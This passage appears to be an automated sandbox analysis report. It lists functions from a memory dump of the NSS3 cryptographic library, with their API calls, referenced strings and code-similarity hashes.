Part of subcall function 6CAF1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CAF1600
Part of subcall function 6CAF1560: PL_ArenaRelease.NSS3(?,?), ref: 6CAF1620
Part of subcall function 6CAF1560: PR_Unlock.NSS3(?), ref: 6CAF1639

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 8ff91af4bbc160abad1904a25fd869e96f05b381836bdd7ec70daeedc53aa410
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 144184B4601606AFE740DF25D940BA1B7A1FF45348F548128E9284BF91EB73E479CF90

Function 6CABDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CABDDEC

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CABDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CABDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CABDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CABDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CABDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABDECC

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: a1afe6d3e163a7f457f646fb34670965b434256427eaad0709bdf8567875b5be
Instruction ID: c4020d2a669c58cde095eccf60794ff3e8c83484c6ff0352ddeaf6ba8ca692b0
Opcode Fuzzy Hash: a1afe6d3e163a7f457f646fb34670965b434256427eaad0709bdf8567875b5be
Instruction Fuzzy Hash: 7331B5B2D002146BEB00AE64AD41BBB76BC9F54608F090175FD09B7705FB31D998C6E2

Function 6CA97E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA97E48

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA97E5B

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA97E7B

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBB925C,?), ref: 6CA97E92

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA97EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CA97ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CA97EFA

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: bd41ef60a594708f31614557e1598dd6cf208849620116f84ab974aba39a6a88
Instruction ID: 19c3628427c42bcf74e53197e436ae1275e30a71d7e33ee4a745e2e434823be2
Opcode Fuzzy Hash: bd41ef60a594708f31614557e1598dd6cf208849620116f84ab974aba39a6a88
Instruction Fuzzy Hash: BE31A1B2E102119BEB108B659D41B6B73F8AF44658F194924ED55EBB41F730EC48C7F0

Function 6CAEDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CAED9E4,00000000), ref: 6CAEDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAEDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAEDCAD

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: c9d684e7117a3356059f417a9784e00d2f51d803423995e54dc19e83f8fbfa4b
Instruction ID: 25ceefdcf97a8a2a22fc9f5217c72866e980f6dd4efdc1b4fff09d8c0a95ea18
Opcode Fuzzy Hash: c9d684e7117a3356059f417a9784e00d2f51d803423995e54dc19e83f8fbfa4b
Instruction Fuzzy Hash: CD316FB59002409FD750CF29D880A56B7F8AF89398F188429E958CBB01E771E984DBA1

Function 6CAB2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CAAE728,?,00000038,?,?,00000000), ref: 6CAB2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CAB2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2E9E
PR_Unlock.NSS3(?), ref: 6CAB2EAB
PR_Unlock.NSS3(?), ref: 6CAB2F0D

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction ID: fdd90b0d419d413a605d9c0857a8eaa5a8b5a170345f0de6d7491c095ed0da5b
Opcode Fuzzy Hash: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction Fuzzy Hash: 5531E8B5A00505ABEF016F79EC448BABB79FF45258B088275EC1897B11EB31ECA4C7D1

Function 6CAFCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: f4920e841b9c633c18a89d47c530b980ac7bb760655625f80e227dca45e88de5
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E111C0A5E003045BFB20AA667D41BBBB5EC9F4814DF044039B929D7741FB71DA4E86A1

Function 6CAA8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA8C1B
EnterCriticalSection.KERNEL32 ref: 6CAA8C34
PL_ArenaAllocate.NSS3 ref: 6CAA8C65
PR_Unlock.NSS3 ref: 6CAA8C9C
PR_Unlock.NSS3 ref: 6CAA8CB6

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Strings

KRAM, xrefs: 6CAA8C8F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction ID: 131131d1bbc41ba5319393f8923cdc4f16d5c06799b56010764dde1fbce3900d
Opcode Fuzzy Hash: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction Fuzzy Hash: 81219FB1A056519FD700AFB9C484569FBF4FF05304F05896AD8888B701EB35D8CACF82

Function 6CB23E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_EnterMonitor.NSS3(?), ref: 6CB23E45

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

PR_EnterMonitor.NSS3(?), ref: 6CB23E5C
PR_EnterMonitor.NSS3(?), ref: 6CB23E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CB23EA6

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_ExitMonitor.NSS3(?), ref: 6CB23EC0
PR_ExitMonitor.NSS3(?), ref: 6CB23ED7
PR_ExitMonitor.NSS3(?), ref: 6CB23EEE

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 66c696fb344f4e3e918a33e1bdd48d7188749bf67a3228b43d5a0514435a9a9f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: D21178B1910690ABD7317E29FC02BEB77A5DB41318F440824E55D87A20E73AE92DC752

Function 6CBA2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2CA0
PR_ExitMonitor.NSS3 ref: 6CBA2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CBA2CD1
strdup.MOZGLUE(?), ref: 6CBA2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CBA2D27

Strings

Loaded library %s (static lib), xrefs: 6CBA2D22

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction ID: 9a09d6f250a5ec468009de6095d586b37a4e8689ce7f1a065278a6d37418047c
Opcode Fuzzy Hash: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction Fuzzy Hash: A91108B5605290AFEB008F66E844A6A77B4EB4531DF08843DD85DC7B41E731D849CBA3

Function 6CA9BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9BDCA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BDDB

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BDEC

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CA9BE03

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9BE3B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 4e95114f8dc710839ff473f3df9680865decbbd40892fc97ed1efc2f304b521c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 6A012BA9A4021166F72022667C02FAB359C4F5028DF140230FF1896BC2FB61D55E82B5

Function 6CAF0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B
TlsGetValue.KERNEL32(00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1044
free.MOZGLUE(00000000,?,00000800,6CA8EF74,00000000), ref: 6CAF1064

Strings

security, xrefs: 6CAF1025

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction ID: 7c4aad3f72ac33f5397aa71c553b41a5f27ebdffe50ebe0590775fbdc8a22940
Opcode Fuzzy Hash: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction Fuzzy Hash: 36012BB1A402909BE7202F3C9C05B6A3A78FF06B99F050115FA2897B51EB70C1D6DBD2

Function 6CB21C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB21C74

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CB21C92
free.MOZGLUE(?), ref: 6CB21C99
DeleteCriticalSection.KERNEL32(?), ref: 6CB21CCB
free.MOZGLUE(?), ref: 6CB21CD2

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: a886ef859cd22410dcf1c9062829f9dd165f58e0bd0bdfddc6dc7b098576b585
Instruction ID: cb4a0c9654d87cefda4b614658c487ed63fa05c24635ce0649228242da862ab6
